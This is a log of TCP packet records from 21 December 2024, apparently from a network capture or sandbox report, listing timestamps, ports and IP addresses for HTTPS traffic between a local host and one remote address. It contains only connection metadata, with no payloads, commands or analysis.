Dec 21, 2024 19:24:56.628985882 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.628985882 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629034996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629084110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629084110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629105091 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.629194975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629194975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629242897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629242897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629292965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629342079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629342079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629342079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629439116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629440069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629487991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629586935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629586935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629617929 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.629652023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629652023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629652023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629652023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629698992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629776955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629776955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629823923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629923105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629923105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629972935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.629972935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630023003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630023003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630069017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630069017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630119085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630119085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630136013 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.630233049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630233049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630280972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630331993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630331993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630378008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630429029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630429029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630429029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630429029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630475044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630557060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630557060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630603075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630702019 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.630703926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630703926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630703926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630750895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630800009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630800009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630848885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630848885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630897999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.630947113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631045103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631094933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631144047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631144047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631196976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631196976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631282091 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.631289959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631375074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631375074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631422997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631473064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631473064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631474018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631520987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631570101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631618977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631669044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631669044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631717920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631717920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631717920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631766081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631815910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631815910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631815910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631843090 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.631889105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631889105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631985903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.631985903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632085085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632085085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632133007 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632133007 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632183075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632231951 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.632232904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632232904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632232904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632329941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632329941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632427931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632428885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632474899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632527113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632527113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632527113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632572889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632622957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632672071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632672071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632770061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632771015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632802010 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.632826090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632826090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632868052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632917881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632917881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.632917881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633016109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633016109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633112907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633112907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633162022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633212090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633212090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633212090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633260965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633310080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633358955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633358955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633383036 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.633428097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633428097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633476019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633476019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633524895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633577108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633577108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633676052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633676052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633721113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633769989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633770943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633884907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633884907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633930922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.633949995 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.634031057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634031057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634078026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634129047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634129047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634176970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634228945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634228945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634229898 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634274960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634322882 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634376049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634376049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634471893 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634471893 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634521961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634521961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634521961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634567976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634618044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634618044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634716988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634716988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634766102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634766102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634862900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634864092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634912014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634912014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634962082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.634985924 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.635010004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635060072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635060072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635061026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635157108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635157108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635262966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635262966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635309935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635309935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635407925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635407925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635508060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635508060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635557890 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635557890 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635607004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635607004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635654926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.635654926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.842295885 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.842515945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.266308069 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.266531944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.468826056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.468889952 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.468915939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469053984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469054937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469099998 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469130993 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469162941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469197035 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469233036 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469254971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469284058 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469305038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469305038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469335079 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469358921 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469374895 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469396114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469396114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469396114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469432116 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469458103 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469482899 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469502926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469502926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469502926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469542980 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469573975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469573975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469624996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469624996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469624996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469624996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469666958 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469707012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469707012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469738007 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469759941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469759941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469822884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469822884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469844103 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.469871044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469970942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469970942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.469970942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470021009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470069885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470069885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470069885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470069885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470097065 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.470161915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470161915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470182896 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.470278978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470278978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470325947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470375061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470376015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470400095 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.470443964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470443964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470443964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470541000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470541000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470588923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470638990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470638990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470686913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470736027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470736027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470741034 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.470784903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470784903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470804930 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.470897913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470897913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470897913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470995903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.470995903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471044064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471044064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471092939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471143007 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471143961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471143961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471240997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471240997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471288919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471354961 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.471388102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471388102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471417904 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.471457958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471457958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471457958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471457958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471504927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471554041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471604109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471604109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471703053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471703053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471750021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471750021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471798897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471800089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471848011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471848011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471890926 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.471956015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.471956015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472002983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472103119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472104073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472104073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472104073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472148895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472198963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472248077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472296953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472296953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472346067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472395897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472444057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472492933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472491026 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.472543001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472543001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472543001 CET	49766	443	192.168.11.20	172.67.184.254
